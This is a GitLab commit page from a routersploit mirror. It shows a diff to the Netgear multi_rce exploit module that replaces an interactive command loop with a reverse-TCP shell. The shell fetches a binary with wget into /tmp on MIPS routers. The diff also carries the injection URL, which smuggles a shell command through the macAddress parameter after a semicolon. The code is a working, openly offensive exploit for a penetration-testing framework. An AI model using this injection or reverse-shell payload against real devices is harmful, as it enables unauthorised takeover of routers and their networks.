Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
f79272c8
Commit
f79272c8
authored
Apr 18, 2017
by
Marcin Bury
Committed by
Mariusz Kupidura
Apr 18, 2017
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Netgear Multi RCE exploit reverse tcp (#233)
parent
7cba4536
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
9 additions
and
12 deletions
+9
-12
multi_rce.py
routersploit/modules/exploits/netgear/multi_rce.py
+9
-12
No files found.
routersploit/modules/exploits/netgear/multi_rce.py
View file @
f79272c8
...
@@ -2,12 +2,12 @@ from routersploit import (
...
@@ -2,12 +2,12 @@ from routersploit import (
exploits
,
exploits
,
print_status
,
print_status
,
print_success
,
print_success
,
print_info
,
print_error
,
print_error
,
random_text
,
random_text
,
http_request
,
http_request
,
mute
,
mute
,
validators
,
validators
,
shell
,
)
)
...
@@ -48,6 +48,8 @@ class Exploit(exploits.Exploit):
...
@@ -48,6 +48,8 @@ class Exploit(exploits.Exploit):
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
arch
=
exploits
.
Option
(
'mipsbe'
,
'Target architecture: mipsbe, mipsle'
)
resources
=
[
'boardData102.php'
,
'boardData103.php'
,
'boardDataNA.php'
,
'boardDataWW.php'
,
'boardDataJP.php'
]
resources
=
[
'boardData102.php'
,
'boardData103.php'
,
'boardDataNA.php'
,
'boardDataWW.php'
,
'boardDataJP.php'
]
valid_resource
=
None
valid_resource
=
None
...
@@ -55,20 +57,15 @@ class Exploit(exploits.Exploit):
...
@@ -55,20 +57,15 @@ class Exploit(exploits.Exploit):
if
self
.
check
():
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"Invoking command loop..."
)
print_status
(
"It is blind command injection - response is not available"
)
print_status
(
"It is blind command injection - response is not available. Use reverse_tcp <reverse ip> <port>"
)
self
.
command_loop
()
if
self
.
arch
==
"mipsbe"
:
shell
(
self
,
architecture
=
"mips"
,
method
=
"wget"
,
binary
=
"wget"
,
location
=
"/tmp"
)
elif
self
.
arch
==
"mipsle"
:
shell
(
self
,
architecture
=
"mipsel"
,
method
=
"wget"
,
binary
=
"wget"
,
location
=
"/tmp"
)
else
:
else
:
print_error
(
"Target is not vulnerable"
)
print_error
(
"Target is not vulnerable"
)
def
command_loop
(
self
):
while
1
:
cmd
=
raw_input
(
"cmd > "
)
if
cmd
in
[
'exit'
,
'quit'
]:
return
print_info
(
self
.
execute
(
cmd
))
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
url
=
(
"{}:{}/{}?writeData=true®info=0&macAddress= "
url
=
(
"{}:{}/{}?writeData=true®info=0&macAddress= "
"001122334455 -c 0 ;{}; echo #"
.
format
(
self
.
target
,
self
.
port
,
self
.
valid_resource
,
cmd
))
"001122334455 -c 0 ;{}; echo #"
.
format
(
self
.
target
,
self
.
port
,
self
.
valid_resource
,
cmd
))
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment